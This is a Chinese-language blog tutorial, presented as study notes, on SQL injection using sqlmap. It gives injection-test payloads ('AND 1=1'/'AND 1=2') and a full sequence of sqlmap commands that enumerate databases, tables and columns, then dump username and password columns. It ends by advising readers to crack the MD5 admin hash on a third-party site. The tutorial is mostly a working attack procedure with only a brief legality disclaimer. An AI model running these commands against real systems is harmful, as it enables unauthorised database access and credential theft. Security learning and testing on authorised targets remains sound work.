SQLmap注入攻击学习笔记

运行环境

  • 系统环境:Kali-Linux-2021.2
  • 如何安装Kali Linux?

判断是否存在注入点

假设,一条网页的链接为http://192.168.3.1/index.php?id=8,可以清楚看到链接后边有一串形如?id=8的字符。 这时只要在链接后边加上AND+1=1,如果页面显示正常没有出现报错,则再将AND+1=1替换为AND+1=2,此时如果页面出现报错,可以判断存在注入攻击点
**例:**

http://192.168.3.1/index.php?id=8+AND+1=1
http://192.168.3.1/index.php?id=8+AND+1=2

使用sqlmap工具进行扫描

枚举出 DBMS 所有数据库

首先先用-u发起对目标链接的请求,结合使用--dbs枚举出 DBMS 所有数据库*命令。

sqlmap -u http://192.168.3.1/index.php?id=8 --dbs

我用我的一个子站进行测试,发现sqlmap枚举出了两个数据库。

图片[1]-SQLmap注入攻击学习笔记-FancyPig's blog


选择一个数据库进行注入 查看表单
使用-D加数据库名来指定目标库,结合--tables枚举出DBMS数据库中的所有表*命令。

sqlmap -u http://192.168.3.1/index.php?id=8 -D [数据库名] --tables (请将括号一同替换)

我们以**521_iboy66lee_cl**数据库为例。

图片[2]-SQLmap注入攻击学习笔记-FancyPig's blog


可以看到该数据库下有一个名为user的表单,我们可以猜测该表单下有用户名的密码一类的关键信息。

枚举出表单下所有的列


使用-T指定要枚举的 DBMS 数据表,再用 --columns枚举出 DBMS 数据库中的所有列*,

sqlmap -u http://192.168.3.1/index.php?id=8 -D [数据库名] -T [表名] --columns

输入命令后顺利挖到了表下所有的列,就会看到熟悉的usernamepassword

破解目标数据


在上一条命令后边再继续使用-C命令指定要枚举的 DBMS 数据列,--dump命令导出DBMS数据库表项。

sqlmap -u http://192.168.3.1/index.php?id=8 -D [数据库名] -T [表名] -C username,password --dump


通过自带字典的破解很快就拿到了管理员的用户名和密码,密码很明显是经过md5加密的,到第三方破解平台就能拿到登录密码。

注:此文章仅供学习记录,切勿用于违法活动!

参考资料

sqlmap中文文档:传送门>>
Windows 安装sqlmap教程:传送门>>
Linux 安装sqlmap教程:传送门>>
笔记如有纰漏,欢迎在评论区指点,原文地址:https://iboy66lee.club/archives/614

© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
iboy的头像-FancyPig's blog
评论 共2条

请登录后发表评论